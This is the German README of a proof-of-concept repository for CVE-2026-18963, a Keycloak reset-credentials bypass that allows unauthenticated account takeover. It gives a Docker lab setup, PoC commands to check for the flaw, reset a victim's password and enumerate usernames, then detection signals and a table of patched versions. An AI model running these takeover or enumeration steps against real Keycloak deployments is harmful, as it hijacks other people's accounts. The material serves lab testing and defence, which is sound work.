
Dieses Repo ist ein PoC für cve-2026-18963. Bitte verwenden Sie es nur auf legalen Produkten (Labor, lokal, ...).
Keycloak reset-credentials-Bypass → nicht authentifizierte Kontoübernahme CVSS 9.1 | Betroffen: Keycloak 26.0.0 – 26.7.1
Dieses Labor wurde aus der ursprünglichen README von
snizi/cve-2026-18963-exploitrekonstruiert.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC-Skript (Python 3.9+, nur Standardbibliothek)
├── README.md
├── docker-compose.yml <- Laborumgebung
└── realm-poc.json <- Keycloak-Realm-Konfiguration (automatisch importiert)
docker compose up -d
Oder Keycloak direkt ausführen, ohne den Realm-Import:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Warten Sie ~30–60 Sekunden, bis Keycloak vollständig gestartet ist.
| Dienst | URL | Version | Status |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VERWUNDBAR ⚠️ |
| Mailpit | http://localhost:8025 | latest | Erfasst E-Mails |
admin / adminvictim / OriginalPassw0rd!poc | Client: poc-apppoc-Realm oder der victim-Benutzer fehlt, importieren Sie ihn manuell:
Realms verwalten → Realm erstellen → realm-poc.json hochladen.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Erwartetes Ergebnis auf kc-vuln:
[!] VERWUNDBAR — E-Mail-Gate-Ausführung bereitgestellt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Nebenwirkungen: Eine Reset-E-Mail wird an das Opfer gesendet (einsehbar unter http://localhost:8025), und
emailVerifiedwird auftruegesetzt.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Anschließend überprüfen, indem Sie sich unter http://localhost:8080/realms/poc/account
mit victim / PoCPassw0rd!1 anmelden.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Der Realm wird nur beim ersten Start importiert, daher ist der einfachste Reset, die Umgebung von Grund auf neu zu erstellen:
docker compose down -v && docker compose up -d
Alternativ das Passwort manuell in der Admin-Konsole zurücksetzen
(http://localhost:8080/admin): Benutzer → victim → Anmeldedaten → Passwort zurücksetzen
→ OriginalPassw0rd!.
docker compose down -v
| Signal | Legitim | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Ja | ❌ Nein |
POST .../reset-credentials mit Body tryAnotherWay=yes | ❌ Nein | ✅ Ja |
SEND_RESET_PASSWORD → UPDATE_PASSWORD mit derselben code_id < 2 s | Selten | ✅ Immer |
emailVerified wechselt auf true ohne VERIFY_EMAIL-Ereignis | ❌ | ✅ Immer |
In Mailpit (http://localhost:8025) trifft die Passwort-Reset-E-Mail im Postfach des Opfers ein, aber der Link darin wird nie angeklickt, wenn der Exploit erfolgreich ist.
| Release-Linie | Betroffen | Fix |
|---|---|---|
| ≤ 17 (WildFly) | Nein | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Keiner (Wechsel zu 26.7.2 erforderlich) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (Hersteller-Backport) |
| 26.5 | 26.5.0 – 26.5.7 | Keiner |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (Hersteller-Backport) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Versionen vor 26.0 sind nicht betroffen: Die sticky
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED-Notiz und der "Anderen Weg versuchen"- Auswahlbildschirm im Reset-Ablauf wurden in 26.0.0 eingeführt. Ältere Builds besitzen den verwundbaren Codepfad schlicht nicht — das ist nicht dasselbe wie gepatcht zu sein.